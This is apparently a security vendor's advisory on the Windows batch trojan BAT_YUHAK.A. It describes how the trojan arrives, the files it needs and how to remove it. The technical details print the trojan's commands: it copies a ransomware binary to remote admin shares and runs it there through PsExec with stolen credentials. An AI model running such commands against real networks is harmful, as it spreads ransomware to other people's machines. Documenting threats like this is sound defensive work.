BAT_YUHAK.A
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Other Details
This Trojan requires the following additional components to properly run:
- 3.txt
- update3.exe - non-malicious (copy of PsExec.exe)
- services.exe - Ransom_YUHAK.A
It does the following:
- It executes the following command:
- mkdir "\{string from 3.txt}\c$\windows\ temp"
- copy services.exe "\{string from 3.txt}\c$\windows\ temp"
- update3.exe \{string from 3.txt} -u "{user name}" -p "{password}" -s -d %Windows%\temp\Services.exe -accepteula
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Scan your computer with your Trend Micro product to delete files detected as BAT_YUHAK.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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